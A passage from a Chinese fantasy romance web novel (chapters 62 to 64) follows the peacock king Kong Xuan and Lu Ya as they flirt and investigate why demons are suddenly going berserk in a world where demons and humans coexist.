他小调轻扬,几只晚归的小鸟从窗户飞了进来,孔宣伸出手,溺爱地任由小鸟落在指尖。 “你也知道我很开心吧?”孔宣挑眉,眉梢张扬神飞,恣意又嘚瑟。 小鸟叽叽喳喳,突然口吐人言:“事都找上门来了,你可还在这傻乐呢。” 孔宣:? “看这里。”来者打了一个响指,把孔宣的目光吸引过去。 窗户没关,红发披肩的青年抬眸,一双红眸璀璨耀眼流漾着如流火般绚丽的色彩。 他勾唇浅笑,实打实地张扬明媚,肆意地朝孔宣挑眉,肤白红唇浓色张扬,挑眉一笑更显挑衅的意味。 孔宣顿时索然无味:“陵光,你怎么来了?” 他靠在窗子上,和陵光一里一外正对着彼此挑衅,说话都带着浓浓的火药味。 “这么晚,还有功夫来找我,不会是被你家老龙赶出家门了吧?” “他敢!”陵光火爆张扬,厉声呵斥一声,挑眉笑了起来:“你也别得意,这事可找上你了。最近什么情况你也知道吧?” 孔宣百无聊赖:“什么情况?不就是妖怪下山了,人类搞不来想拉拢妖族,结果一群妖想当人上妖四处煽风点火破坏合作呗。” 他最厌烦这些人间算计、恩恩怨怨的,要他说,全部都打一顿,打服了就都听话了。 陵光摇头,恨铁不成钢地点了点他:“就说你这脾气不好,一点危机意识都没有。” 被陵光这只臭美鸟说了,孔宣可不乐意了,他正要叉腰发怒,陵光下一句说:“找个时间,回天缝所在看看吧。” 孔宣动作一顿,本能皱起眉:“他们能有这么疯?” 在人类传说的很久很久以前,天上曾破开一条大缝,涛涛天水灌入世界,几乎将一切吞没,是人首蛇身的女娲用补天石将天缝补上,又造了四根天柱支撑天地。 这并不是什么虚假的传言,而是真实的故事。 世界并不是完全密闭的存在,在很多原初生灵的口中,世界类比一棵大树上的一颗小小的孢子。 祂有寿命有循环,会破损也能修复。 很久很久以前,女娲发现了世界上第一条天缝,不知道什么时候开始,巨大的狂风从天缝中泄出,将天地吹倒,将大地与海水颠倒。 祂用原初生命贡献的血肉本源修筑成女娲石,填补上这条缝隙。 而数万年后,也就是近一千年前,天地间又再次出现了一条天缝,灵气无休止地从缝隙中抽走,依赖灵气存活的恢诡谲怪消弭死去。 人类尚且不知道危险即将来临,可历经大劫的原初生灵知道,维持日月轮转的金乌知道。 他拍打着翅膀,来到孔宣的面前告诉他,他要去修补天缝,拯救世人。 可世人繁多,有能力者比比皆是,为什么偏偏是他,为什么不能让别人去? 孔宣曾怒骂咒怨,拼尽一切追在金乌的身后嘶吼,从哀求到咒骂,再到最后他愤怒威胁:“你要是去了,我就当没有你这个人,我们就真的完了。” 然而曾与他互相依偎数千年的情人头也不回,天地间只剩下彼此的哀啼与绝不回转的怨愤。 孔宣想到这些过去,依旧感觉到窒息。 他愤怒怨恨,发狠地咒骂:“他们是疯了吗?这种事也敢干?” 好好地争权夺利不行,要毁灭世界? “怕就怕,有的人根本没意识到这件事的危险性。”陵光说着,视线落在孔宣的脸上,他试探着说:“你最近,看到金鹏了吗?” 金鹏! 孔宣前脚沉浸在曾经丧夫的痛苦中,后脚听到金鹏的名字,整个人倒吸一口凉气:“……我现在听到他的名字就头疼,你也要向他讨债?” 他猛地后仰,神态狐疑又警惕。 不是吧!孔雀大王现在又要追夫又要给弟弟擦屁股吗? “也不是。”陵光挑眉:“我只是想告诉你,我觉得金鹏当年没死透。” 这个消息可大大出乎了孔宣的意料,他抱住手臂,眉眼冷凝:“仔细说说。” “事实上一直有人发现他的痕迹,只是我们从来没有和他正面对上过,我怀疑他可能是用了什么手段,让自己处于某种特定状态。” “鬼魂?”孔宣沉思。 陵光打了一个响指,朝孔宣露出一个默契十足的表情。 金鹏当年身死,死得很惨,被人用石头全身都砸烂了,孔宣看一眼就要窒息了,差点没疯。 最后是金乌收拾的残局。 因为金鹏鸟缘太差,只有陵光为了确定他真的死了有过去看一眼。 孔宣思索着,摸索着下巴,忍不住皱眉:“不对,他活着为什么从不来找我?而且他对天缝打主意对他有什么好处?” 他脸上的狐疑几乎化为实质。 陵光的目光极其玩味:“是吗?你不开心,对他不就有好处了?” 第62章 第62章双生合欢糕7 金鹏就…… 金鹏就是无利不起早, 还是个实打实的搅屎棍,别人不开心比自己开心还重要。 他心中怨恨孔宣多事,又依赖他的强大护短,身死之后蛰伏不出恐怕有更大图谋。 陵光手上落着一只圆滚滚的小麻雀, 他轻声逗弄, 状似不经意的视线追随孔宣转了转:“你不相信?” “不……还算有点意料吧。”孔宣垂眸, 脸上的神色沉静落魄,抿直的唇角不再翘起弧度, 无声攥紧了手指,几乎咬牙恨齿。 “他千不该万不该, 不该打这种主意。” 不该?陵光挑眉,视线在他身上来回扫过:“你啊,太过情深就是你最大的弱点了。” “这可不是你说得算,大家都有自己的小心思,也是正常的。” “是吗?”孔宣倚在窗边偏开视线, 晦暗的光线落在他的眉眼,他双手环抱, 意味深长地朝陵光挑眉:“那你站哪边呢?” “孔雀, 现在问别人的立场,可是要死人的。”陵光低声说。 孔宣:“怎么?你也怕站队吗?” 陵光脸上阴沉一瞬:“大风, 那个冒犯规矩的无脑莽夫, 我迟早弄死他。” 有些规矩设立容易维护难,有大风这个先动手打破局势的蠢货, 当初设立的神兽之间不能互杀原则被打破,又会有多少人因为立场原因遭难? 孔宣呵笑,带着几分轻蔑:“站队有什么好呢,不如我一身轻松, 想干什么就干什么,人类,啧。” 人类,妖怪,和他都没有关系。 孔宣冷心冷情,凉薄至极,在乎的就只有那么几个,其余的是生是死又和他有什么关系? 为什么金鹏就是看不透呢? 陵光也笑,讥讽又自嘲,旋即摆出一副正经模样,鲜亮的红眸里凝着肃穆。 陵光探过身,郑重其事地交代孔宣:“孔雀,不要在这里傻乐了,天缝就交给你了。没有问题吧?” 他神色凝重,眉眼间更是凝着霜雪般,将他眉眼间的灼热凝固。 现如今,只有孔宣不涉及任何立场,可以纯粹地处理这件事。 孔宣晃了晃脑袋,在陵光的注视下勉强收敛几分正形,不爽啧声后勉强答应:“我会去看的。” 毕竟也是陆鸦鸦拿命填上的…… 等下,这算不算触犯了九凤指的明哲保身? 是指这件事吗? 孔宣的神情一下子纠结起来,他纠结困恼地咬了咬指甲,眼神不自觉飘向陵光。 陵光警惕:“你不会刚答应就要反悔吧?” “怎么可能?”孔宣嘴硬。 孔宣不肯承认,但是不祥的阴影莫名拢上他的心头,他几乎断定金鹏一定会掺合这件事。 好啊好啊!掺合才好! 肆意妄为的孔雀大王愉悦地翘起嘴角,神色间的兴味闻风而兴,一下子变得旺盛浓烈。 “如果金鹏出现,没有落在我手上。”孔宣眼睛转动,眼尾危险地敛起弧度,施施然朝陵光递了一个眼神。 “你要是把他关到死,我就交由你处置。”陵光同样翘起唇角,给了一个极为狡猾的答复。 孔宣呵声:“你也不怕我劫狱。” “你试试。” 孔宣不顾陵光的冷眼,将手按在窗台上,主动地靠近几分,两个人眉目相对,皆是挑衅与恶劣。 他嗓音轻柔,兴味十足地挑起眼尾,流露出促狭狡黠的表情:“那我要是杀了大风呢?” 两个人脸对脸挨在一起,针锋相对时无边杀伐藏匿眼中,流露出如有实质的恶意。 陵光轻笑出声,他眉眼浓烈肆意张扬,咀嚼着字句,玩味地睨去一眼:“你要真做到,我……” 两人侧脸相对咬着耳朵,交换隐晦的私语,连带着两张颜色秾烈的脸都漾开了笑容,轻描淡写就决定了几人生几人死。 突然,大门打开。 “大王,吃凉粉吗?”陆压拿着一碗凉粉推门进来,他脚步一顿,视线落在两人靠在一起的姿势上。 两人一坐一站靠在一起,侧目相对,表情模糊不清,漫漫昏黄落在他们的眉眼,只能看见他们侧脸线条模糊在一起,显得暧/昧又亲昵。 陵光歪过脑袋,抵在孔宣的肩膀,挑衅地从缝隙中朝陆压挑了挑眉。 “帮你一下。”陵光在孔宣耳边低语。 孔宣还没反应,肩膀被拍了两下。 陵光直起身,暧/昧地低笑:“说好的,我们的小秘密,可别告诉别人哦~” “我等你来找我~”他眨了眨眼,红艳艳的凤眸中好似燃烧着动人的情态,睫毛眨动间无边星光闪烁飞舞。 又勾勾又丢丢,骚包得不行。 孔宣被恶心到了,下意识往后一缩,正想追问他什么意思,陵光朝他眨了眨眼,跳窗化作漫漫云霞从天边消散而去。 “朱雀!”他急忙想追,猝然被人攥紧了手腕。 被人拉紧手腕用力一带,孔宣没有防备,歪斜着倒在男人的怀里,他眼前花白,清醒过来时倒在陆压怀里茫然地眨了眨眼。 “鸦?” “大王就是这样的吗?”陆压捻着他的下巴,手指厮磨间语气隐忍晦涩,似压抑着沉沉冰霜,用一双深邃的黑眸将他捕捉。 陆压头一低,昏黄的色彩随着他垂下眼睛,阴影洒落的痕迹隐约落在孔宣的脸上。 他意味不明,语气深沉难辨,却暗藏逼迫。 “什、什么?”孔宣只觉得圈在自己身上的手紧张隐忍,难以言喻的强势抑制了他的动作,他茫茫然与男人贴近,连呼吸都要被一并夺取。 他犹豫茫然地眨了眨眼,下一瞬间,一双冰冷的唇印在他的唇角。 孔宣赫然瞪圆了眼睛,瞳孔震动间,耳边是陆压隐忍晦涩的呓语:“你所谓的喜欢,就是一边喜欢别人一边和人暧昧?” “他可以,我不行吗?” 粗粝的手指重重捻过孔宣的下巴,压出一片绯色的痕迹,孔宣飘忽的视线一下子定在陆压脸上。 陆压隽秀的眉眼近在咫尺,他眉头凝重,鼻梁挺直,抿紧的情绪如不见晴雨,唯独一双手臂收紧着力度,绷紧的肌肉牵动着力量感,深沉又危险。 他脚步不停,步步朝孔宣逼近,将人抵在桌边时,两个人的呼吸几乎交融在一起,显得密不可分。 孔宣一下子福至心灵,顿时暗骂朱雀多管闲事,可是脸上的红晕难以褪去。 感觉到抵住自己的力道,他神色荡漾一瞬,飞速抿了下唇角,不让压抑不住的笑容实质溢出。 孔宣眼神闪躲一瞬,手脚挣了挣,反而被男人越逼越近。 推拒的手被抓着按在桌上,大手覆盖他的手背,粗/粝的老茧厮/磨着指缝,十指相扣间孔宣的腿间也挤进了一条大腿。 他下意识偏过头,只感觉到男人滚烫的胸膛靠近,缩短距离直白地抵在他的侧脸,他耳朵动颤,清晰地听到了胸膛的心跳声。 孔宣又慌乱又窘迫,又难免感受到被强制的舒爽与兴奋。 “等、等等……鸦鸦……”孔宣不得不出声叫停。 他被步步紧逼,已经半坐上桌沿,一双眼睛凌乱闪躲,闪烁着繁多情绪,含糊不清地支吾几声。 “唔!” 男人的手已经钻进了衣摆,露出一节漂亮的劲瘦窄腰,腰腹覆住着匀称的肌理,肤白胜雪,令人爱不释手。 孔宣呼吸一紧,急急忙忙地辩解:“我没有!” “我和他不是你想的那样!” 救命! 陆压的嗓音含糊不清:“你□了。” 啊啊啊!好性感好[哗——]! 孔宣捂着脸,两片飞云飘上双颊,他心慌意乱,慌慌张张地攥紧男人的肩膀。 嗯嗯……好像不解释也可以…… 孔宣可耻地心动一瞬。 一直沉默寡言的男人突然爆发,真的超级、超级、超级性感! 孔宣头皮发麻,屈服于强者的狂喜与销魂摄魄的情绪令人着迷又危险,像是在危机红线上跳舞,男人的腰已经结结实实地抵到了他的腿心。 他着迷又满足,兴奋感犹如电流在背脊上流窜跳舞。 孔宣咬了下唇,满眼迷离地贴上陆压的侧脸:“陆压。” 他满腹情迷,上挑的尾音婉转动人,暧/昧与甜意软化了嗓音,他甜蜜地呢喃着男人的名字。 掌控我,拥有我…… 陆压…… 陆压猝然收回手,他踉跄后退两步,猝然将手埋进掌心,像是无法承受般躬下身,睫羽无声颤抖。 甜蜜又轻柔的嗓音婉转动人,足以撬动任何人的心弦,陆压却不可抑制地想,孔宣喊“陆压”的那一瞬间,到底是在叫他还是在叫千年前的那个人? 该死的多情鸟! 陆压怨恨孔宣的多情,又急不可耐地想要霸占他身边的位置。 他不得不克制,但凡他再往前一步,他再也忍耐不住。 想要独占孔宣的一切,跪地祈求孔宣施舍的爱意,像一条钟情不二的忠犬获取他的注视。 “……早点睡。” 陆压匆忙丢下一句话,脚步凌乱地冲出房间。 “嘭”的一声,孔宣伸出索求的手落在空中,他茫然地眨了眨眼,一脸困惑地瞪圆了眼睛。 不是,这都不上! 陆鸦鸦你是不是不行!不行让我上啊! 第63章 第63章文鳐鱼刺身 “鸦!鸦鸦!…… “鸦!鸦鸦!陆鸦鸦!” 急促的脚步噔噔追来, 孔宣脚步匆匆,声音追在陆压身后一声比一声急促明晰,追到最后更是一把拉住陆压的胳膊,凭借蛮力把他拉向自己。 他长眉倒竖, 一双凤眸又凶又戾, 凶巴巴地瞪人:“你躲我干什么?” 陆压手里端着两个铁盘, 他无辜歪头,语气淡淡:“没有。” 说完头一转, 又要接着干自己的事。 孔宣腮帮子鼓了鼓,郁闷地点了点侧脸, 眼睛狡黠转动一圈,霸道地一把将人推到墙边。 墙边贴着放置着一张餐桌和两个凳子,陆压脚步踉跄,下意识扶住了桌边,眼前张扬明媚的脸越靠越近, 陆压拿铁盘阻挡也阻挡不足他逼近的脚步,最终一步一步倒进椅子。 哐当, 铁盘落地。 他坐在椅子上, 一片阴影从头顶落下。 是孔宣。 孔宣抬起腿,正面对坐上陆压的大腿。 他肩背笔直, 单薄的胸膛近在眼前, 若有若无的体香被体温熏醉,似有若无地钻进陆压的感知, 像是又一把小勾子,勾得人意乱神迷。 紧接着,孔宣伸手拂过陆压的侧脸,他歪过头, 表情玩味又魅惑,轻巧地眨动着眼睛,朝陆压露出一个无辜又勾人的笑容。 “你没躲我?”他嗓音轻轻,带着些许困惑与无辜,挑起陆压的下巴,语气调笑:“那你怎么不敢看我?” 孔宣腰背连成勾的弧度,柔软的臀/部不轻不重地落在陆压的腿间,秾烈的颜色就这么直白地展露在陆压面前,不加掩饰、勾魂摄魄。 没有任何遮掩与误会,他就是在勾陆压。 而且直白又坦然。 陆压眼睛定在他的眉心,上挑的视线仿佛被他眉眼间的笑意所蛰,又飞快地落到了他的唇上,猩红的唇愉悦勾起,勾得人心荡神摇。 陆压的目光彻底按捺不住,他火急火燎地垂下眼睛,孔宣精致的锁骨似有若无从衣领隐约透出。 于是陆压只能沉默。 他反驳不了任何一句话。 孔宣语调轻轻,勾着发丝在指尖绕啊绕,嗔怪抱怨:“昨晚不是很能吗?” “他可以,我为什么不行?”孔宣学着陆压的语气,说到一半就忍不住发笑,笑得前仰后合,像是支漂亮的花在陆压身上花枝乱颤。 孔宣笑着笑着,猝然躬下身,背脊如长弓拉成圆润的弧形,绷紧漂亮的线条,他“嗯”了一声,意味深长地点点唇角:“嗯……怎么不可以呢?” 陆压的手抚摸上孔宣的后腰,孔宣眼神鼓励,勾缠着朝他眨眼。 男人粗粝的指腹捻在青年细腻的肌肤上,厮/磨碾动,他目光深邃到了极致,似乎裹挟着无尽的深情与晦暗,不加掩饰的侵/占/欲如关不住的野兽流泻而出。 陆压谨慎又耐心,彬彬有礼地询问:“可以吗?” 他彬彬有礼的外表下,深邃的眼神像是要化成野兽,将眼前勾人的妖精彻底禁/锢/吞/吃。 征询与宣告同时藏匿在这句低沉性感的短语中。 孔宣只觉得亢奋雀跃,骨子里不安于室的桀骜不驯在此刻冒头,他半嗔半喜地蹙起眉头,傲气轻哼出声。 挑起一边长眉,不耐烦的眼神示意,漂亮的唇微微嘟起,像是在向人索吻。 陆压捻着青年的下巴,强势地逼迫他低下头,他仰头迎合,却不显弱气,肆意凶悍的性张力在此刻去紧绷的弓弦。 他们箭在弦上,拉扯到底。 “老大——” 即将亲上的瞬间,一个匆匆忙忙的声音惊扰了暧/昧的氛围。 陆压脑袋一偏,被人用力掰了过来。 双唇相贴的瞬间,孔宣呓语的抱怨含糊又嗔怪:“你居然还有心思管这些……” “老大老大老大!”伴随着挠门响起的呼喊声忽强忽弱,直到大门敞开才彻底停歇。 一只穿着西装的狐狸精坐在门边一边哀嚎一边挠门,感觉到门开了,顿时一个激灵,鲤鱼打挺似地站了起来:“老大!” 陆压:“不买保险。” “呜呜呜老大是我啊!我是胡一良,我不是卖保险的……”小狐狸精胡一良呜呜大哭,看见陆压就像是看到亲人一样,恨不得抱着陆压的大腿狂哭。 陆压嫌弃退后,没有让这只小狐狸精挨上自己。 “你不在上班怎么来这里了?” 胡一良抽抽噎噎,一边抹眼泪一边抱怨:“哪还有班上啊,现在能保住命就不错了,我都要辞职了回老家去了……老大,你衣服怎么乱糟糟的?嘴巴也红了?头发也……” 胡一良“咦”了一声,疑惑的话还没说完,就听到一声轻笑。 他抬眼望过去,看到了柜台旁边坐着的绝世美人。 美人朝他扬眉,他顿时被迷得神魂颠倒:“孔先生,你比我见过的狐狸精还要漂亮!” 孔宣顿时满脸得意,被这句话哄得十分高兴,矜傲地扬起下巴朝陆压递去一眼,鼓了鼓嘴巴。 陆压面不改色,只是发丝下露出的耳朵尖莫名红透。 “说吧,你来干什么。”陆压声音微哑,不动声色地拦在胡一良与孔宣面前。 小气鸦。 孔宣抿直唇角,怎么也压不下嘴角的弧度,恨不得嘴角咧到耳后根。 躲在陆压背后,偷偷捂了捂嘴角。 胡一良根本没发现这过于甜蜜的氛围,一提起自己来干嘛的,顿时又忍不住哀嚎起来:“老大啊啊啊——” “这日子真的过不下去了!新闻上妖族伤人的事情老大你都看到了吗?真的不要信啊,老大,这就是针对我们妖族的阴谋,是有人刻意使坏!他们给我们下药了!是捧杀,绝对捧杀,他们算计我们!” 胡一良喋喋不休,一顿叭叭,倒豆子似地把话咕噜全倒了个空。 他这种妖管局文职人员,就算有什么妖族伤人也不归他管,他之前听说是听说了,但是妖族伤人这种事以前也有,清扫组大部分任务就是解决这种伤人的坏妖。 胡一良在清扫组实习过几个月,也就没当回事。 虽然觉得网络上那些人说话有点过分,有点挑拨人妖仇恨,但是最多也就感慨一下现在的人真浮躁。 直到,他昨天下班的时候撞上清扫组的一只山魈前辈下班,在路边等车的时候聊了聊。 就等公交车的工夫,前一秒还在和他讨论最近不太平的山魈突然躬下身面露痛苦,紧接着他突然化形,在众目睽睽下变作一只怪异丑陋的山魈,发狂似地大声嘶吼扑向人群,狠狠咬住了一个社畜的胳膊。 这一切发生得太快,从突然变形发狂只在短短两三秒钟。 凄厉的血溅到胡一良脸上,当时人就傻了。 他同所有普普通通的人类一样放声尖叫,眼睁睁地看着几个身穿迷彩服的人扛着枪,一枪就击倒了山魈同事。 人类!那些穿着迷彩服的家伙都是人类! 他们用人类的武器轻轻松松就打倒了一只发了狂的山魈。 胡一良今年也有小几百岁了,然而就他这武力值根本不敢硬刚山魈。 怎么来得就这么巧,山魈刚发狂人类带着武器就来了。 胡一良混在慌乱的普通人中间,被当成人类疏散离开,离开之后他飞速掉头奔到妖管局上报这件事。 报告完他浑身冰冷,翻看手机才发现刚刚的事不知道被谁传到了网络上。 :这些该死的妖怪!我就说他们不安好心,还什么第57个民族,我看我们成了56盘菜了! :这都第几起了,从宣布妖族真的存在开始是演都不演了,果然妖怪都该死! :无辜?这种吃人的怪物有什么好无辜的? :非我族类其心必异,老祖宗说得果然没错 …… 无数讥讽的话映入眼帘,胡一良只觉得愤怒至极。 山魈同事是清扫组的老前辈,拯救过很多被恶妖伤害的人类,甚至在出事的前几个小时刚出完任务回来。 人类不感恩他的努力,甚至肆意抹黑辱骂,明明他也是受害者! 他明明就是被人算计的! 最让胡一良愤怒的是,明明是妖管局的员工,按照之前妖怪伤人的案例处理,妖管局要先把山魈引渡回妖管局关押,再和人类仔细调查判罪。 结果妖管局和人类交涉,人类那边表示山魈发狂伤人现在意识不清,不能让他们引渡回妖管局关押,也不允许他们一起调查。 妖管局居然就这么认了,直接给这件事定性成妖族伤人! 胡一良在局里愤怒地直打转,气得把工牌一摘,表示这工作他干不下去了! 什么狗屁的第57个民族,什么狗屁的人妖共和! 胡一良满腔怨气,倒豆子似地倒了一通,一怒之下发话:“我不干了,有编制也不干了!我要回东北老家当保家仙继承家业!” 陆压:…… 那确实是很愤怒了。 陆压听完这些事,冷静发问:“你确定他是一瞬间发狂的?有没有什么征兆?有没有人刺激他?” 陆压端来一杯冰水,和孔宣坐在胡一良对面,双手交叠,姿态冷硬。 他语气淡淡,没有质问,却叫人不敢不答。 只是看着他冷静的眼睛,愤怒的气焰瞬间消散,胡一良思考半天:“当时旁边人很多,我也没注意,但是山魈哥是突然发狂的,大概是六点三十左右。” “我们一起打卡下班走到站台,最近的班车是六点半到站的。山魈哥和我在聊讨论最近总有妖怪伤人,政府那边好像要安排人夜巡。他的思维很清晰,看起来也很精神,直到他突然很痛苦地弯下腰……” 胡一良回忆着,展露出曾经在清扫组工作过的专业:“哦!他现在应该在人类那里,人类最近搞了个什么安全局,他们用一种麻醉剂放倒妖怪,据说百试百灵,没有妖能逃掉。” 情报汇集到陆压这里,陆压思考着,指尖无意识地敲了敲桌子。 旁边的孔宣歪过脑袋,将下巴垫在陆压肩上,他的脸隐没在光与暗之间,露出的半张脸上写满了玩味。 “什么情况,捉过来问问不就行了?” “不,现在人在安全局那里。”陆压思索着,手指磨蹭过手边的手机,按亮了屏幕。 很显然,他想到了一个人—— 清扫三队张振军。 陆压给安全局提供过一些消息,妖怪伤人的事不少,山魈伤人的案件保密等级不会太高,他或许能掺合一脚。 陆压理清思路,目光落在胡一良身上:“真的决定了吗?你考妖管局考了很久吧?” “谁考妖管局不久?反正我是待不下去了,编制没有命重要……”胡一良忍不住吸了吸鼻子,虽然年纪小几百岁了,但在保家仙里年纪也不大。 他好好的保家仙不干,千里迢迢来到来广就是求编制稳定。 现在情况太复杂了,胡一良瓮声瓮气地说:“我家姑奶奶让我回去,实在不行,家里还有一家弟子给我继承,我回去当出马仙也算半个编制。” 妖管局再稳定命没了也没意思。 陆压头一点,语气淡淡:“好,路上多和家里报备。” 胡一良“嗯嗯”点头,目光落在孔宣身上,孔宣朝他眨了眨眼,青涩的小狐狸精顿时脸红了大半。 “那、那我走了,老大,我再也不追着你返聘了,我还对不起被我拉回局里的几个队长,让他们坐冷板凳……” 胡一良扭扭捏捏,一边嘀咕一边偷偷打量孔宣,终于按捺不住,一股脑地冲过去结结巴巴地倒出一句:“那、那个……可以给个联系方式吗?我觉得我还挺有前途的……” 陆压面色一黑,一向八面不动的男人轻轻踹了椅子一脚。 “滋啦”一声巨响直接遮盖了胡一良的声音。 陆压眼神一扫:“还不走?” 这一眼又凶又戾,十足强势气派。 胡一良被吓得屁滚尿流,匆匆忙忙走人,背后一连串清脆的笑声笑得他耳根子发酥。 呜呜呜不让就不让嘛,老大真凶! 小狐狸精被吓跑了,陆压转过头,旁边肆意张扬的美人笑得花枝乱颤,狭长的眼尾促狭冲着他眨了眨,笑得满脸桃色,粉扑扑朝他盈盈望去一眼。 这一眼挑衅又戏谑。 孔宣撩起头发顺手拂过脸颊,含蓄弯唇一笑,像是只从画中逃脱出来的狐狸精,眼尾上挑的弧度似勾勒了极致的魅力。 “……大王。”陆压被他笑得心烦意乱,幽幽叫了一声,幽怨低落。 可怜哟~ “咳咳!”被他这么控诉,孔宣咳嗽两声,眼神闪了闪:“好嘛,我不笑了。” 他话是这么说,但凌厉张扬的眉眼含着笑意,是止都止不住。 孔宣心情大好,也不计较这只小狐狸精坏他好事,他捻着发尾,漫不经心地靠在陆压身边,歪着脑袋看他联系安全局。 “怎么样,这群人类好说话吗?” 孔雀大王手指一指,脸上玩味的表情大有对方不同意就劫狱的意思。 陆压“嗯”了一声:“他们说山魈没醒……” 不,应该说,最近捉到的很多只妖怪都处于意识模糊的状态。 他们之所以会那么快赶到,是有人把山魈伤人预告给了他们。 网络上那些妖怪伤人的视频也不是安全局发出的,他们尽力去压消息,也试图和伤人的妖怪沟通,但对方清醒之后要么记忆全无要么意识混乱。”挑拨离间吗?”呢喃声细微响起,陆压无意识地敲击着桌面,思考的时候,不忘歪过手机,让旁边好奇的孔雀大王也看看。 恐怕当时不是山魈,也会是其他无辜的妖怪。 陆压思路清晰,偏过头,视线落在孔宣的侧脸。 孔宣看得认真,明亮的手机光映在眼底,眼底光芒闪烁:“我有个想法。” “大王请说。”陆压微偏过头,做出洗耳恭听的恭敬姿态。 这可把孔宣哄爽了,孔宣扬起下巴哼哼两声,清了清嗓子,眼波流转间无边璀璨的光影粼粼流漾。 他自信又矜傲,傲气颔首说道:“泰器山的文鳐鱼可以使人恢复神智,给当事妖塞几片文鳐鱼,保管他们什么都想起来了。” 陆压思索过后,赞同地点了点头,虚心请教:“说得很好,那么大王我们去哪里捉文鳐鱼?” 他的目光定定地看向孔宣,眼里的信赖简直让孔雀大王气焰更加嚣张。 孔宣不假思索:“这个好办!” 文鳐鱼是一种能让天下大吉的鱼妖,外形似鲤鱼但长有鸟翼,喜欢夜间飞行。? 哪里的河边突然草木疯长,就极有可能藏了一条文鳐鱼。 这在现代信息共享时代十分轻松,只要在网上搜罗一通,大概率能确定文鳐鱼的位置。 就是不知道安全局同不同意他们来帮忙。 孔宣打了一个响指,好整以暇地朝陆压挑眉:“这个问题我解决了,怎么喂给那群妖怪就靠鸦鸦你了。” 他神采飞扬,好整以暇的表情兴味盎然。 明明没有人和他对赌,他也像是在和人打赌般,眉飞色舞地等待陆压的好戏。 陆压没有让他看笑话,他和安全局沟通过后,安全局同意陆压以提供文鳐鱼为条件旁听审讯现场。 不过安全局想要一条活的文鳐鱼。 “听起来一点都不妙。”像是要做不好的研究。 电视剧都是这么演的。 孔宣嘀咕着,对着陆压发号施令:“答应他。” 陆压困惑:“大王不怕?” “怕什么?”孔雀大王的字典里就没有怕这个字。 孔宣回答得自信坦然,甚至不屑一顾。 “人类想做什么人体实验,在以前就做过了,人类迫害妖族、迫害同族的手段几千几百年都不见新鲜。” 他的脸上流露出厌恶与轻蔑的情绪,轻描淡写的话语不见一点害怕与恐惧,唯有对绝对力量的自信。 “没关系,有结果之前他们都会死的。” 陆压怔怔。 或许是自身身份转变,陆压并没有觉得孔宣这些话凉薄无情,目光触及对方轻松自信的神采,反而忍不住心脏鼓动。 似乎他曾这样长久地凝视过他,凝视着这样明媚张扬的表情。 也只有这样的神采才应该出现在他脸上。 陆压目光定定,被孔宣捕捉到了,他似乎也知道自己很有魅力。 忍不住得意,哼哼两声志得意满地朝陆压甩了个眼神,嘴角的弧度压都压不住。 “鸦。” 孔宣跟在陆压身后,他探过脑袋,直接把下巴垫在陆压的肩膀,像是只小猫咪一样踮起脚尖,亦步亦趋地跟着他。 陆压继续之前要做的事,将铁盘拿回厨房,顺手将厨房洗好的葡萄塞了一颗给肩膀上的孔雀大王,低声答应。 “我在,大王。” 孔宣嗓音低沉,故意压低声音,低沉宣布:“等这件事解决,我要去不周山一趟。” 不周山。 陆压动作一顿:“九凤不是说,最近不要去,会有危险?” 危险嘛…… 孔宣挑起长眉,继续深沉答应:“确实,但是我不得不去。” “那我申请和大王一起去。”陆压不假思索。 他几乎是话接着话,没有任何犹豫。 孔宣一乐,歪过身体整个人绕着陆压转了半圈,饶有兴趣地将手臂搭在陆压肩膀上,他往上一枕,俏皮地歪过脑袋。 “鸦,你怎么会认为你可以不跟我一起去?” 他挑起眉,嚣张地翘起唇角,酷酷朝陆压哼气。 像是团漂亮的白面包子,腮帮子一鼓,软乎乎的撒胖气。 陆压有点想笑,更多的是被孔雀大王可爱到了。 笑了一定会被恼羞成怒的孔雀大王气呼呼的。 陆压垂下眼睫,压下眼中的笑意,面上适时流露出几分低落,“大王可千万不能丢下我啊。” 孔宣哼哼两声,豪情万丈地摆手:“当然当然!” “爱妃放心,我肯定带你。”嘿嘿嘿~ 孔雀大王拍着胸脯保证,豪情万丈地揽着爱妃陆鸦鸦,大气地拍了拍他的胸膛。 漂亮的胸部肌肉一摸触手紧绷结实,孔雀大王没忍住又贪心地拍了拍。 陆压肌肉一紧,低垂下的眼睫中渗出几分冷意。 花心又多情的坏孔雀。 撩了又不负责。 早晚得关起来教训,看他怎么敢再乱撩小鸟。 第64章 第64章文鳐鱼刺身2 “哗哗…… “哗哗”流水从水管冲出, 在塑料箱子里滚了几个泡泡,一连排的塑料箱堆叠在地上,鱼群拥挤在一起摇曳着尾巴追逐着气泡的方向,不断张阖着嘴巴吞吐着水流。 菜市场拥挤人影幢幢, 肩膀挨着肩膀, 拥挤在狭窄的过道上, 踩着泥泞的石板,大声和摊主交谈着。 鱼摊边缘的水腥味最重, 充斥在感知里,令人忍不住屏住呼吸, 孩子气得皱了皱鼻子。 孔宣嫌弃地歪过脑袋,把脑袋拱到陆压的肩膀上,挨挨蹭蹭地瞎拱一通,忍不住吸了吸鼻子,闻嗅着陆压身上干净的肥皂味压味。 他靠上了就不起来了, 陆压只是伸手护在他的肩膀,避免有人拥挤到他。 他们走在人群中, 在卖鱼的摊位来来回回地走动。 陆压低下头, 嘴唇靠在孔宣耳边,用气音低声询问:“为什么要来这里?” 男人的呼吸亲昵地喷洒在耳边, 孔宣没忍住揉了揉发麻的耳朵, 理直气壮地回答:“找文鳐鱼。” “不是要去水边找吗?” 说话间,一个阿婆被人挤着撞了过来, 陆压眼疾手快,一把揽着孔宣的肩膀拐带到旁边。 这个菜市场人流量大,但陆压一般来得很早,自己一个人来也不会觉得过于拥挤的人群有多折磨。 偏偏孔宣跟上来赶上了人最多的时间, 两个人非要并排走,短短几分钟差点被人撞了好几次。 陆压呼吸一窒,连忙将大王往自己另一边带了带,把人群隔离开。 同时他也不忘了和不食人间烟火的孔雀大王解释:“鱼摊上的鱼大部分都是水库鱼,很少有私人钓的。” 就算捞上来有这种鱼,一般也会被挑拣着丢回水库,不会被拉到菜市场来。 孔宣哼哼两声,得意地扬起尾音,朝陆压挑眉:“我当然知道!” 陆压:? 就见孔宣得意洋洋地扬起眉眼,掏出手机点开一个视频,将手机送到陆压面前,手指认真地点了点。 “看。” 看什么?陆压的视线在他脸上转了一圈,不受控制地飘到他神采飞扬的眉眼,弯起的眉像一柄锋利的尖刀,锐利地挑起秾烈的色彩,令人无限遐想。 手指点在屏幕上的动静惊回了陆压的注视,至此,陆压的视线才转到了手机屏幕上。 这一看,他下意识皱起了眉。 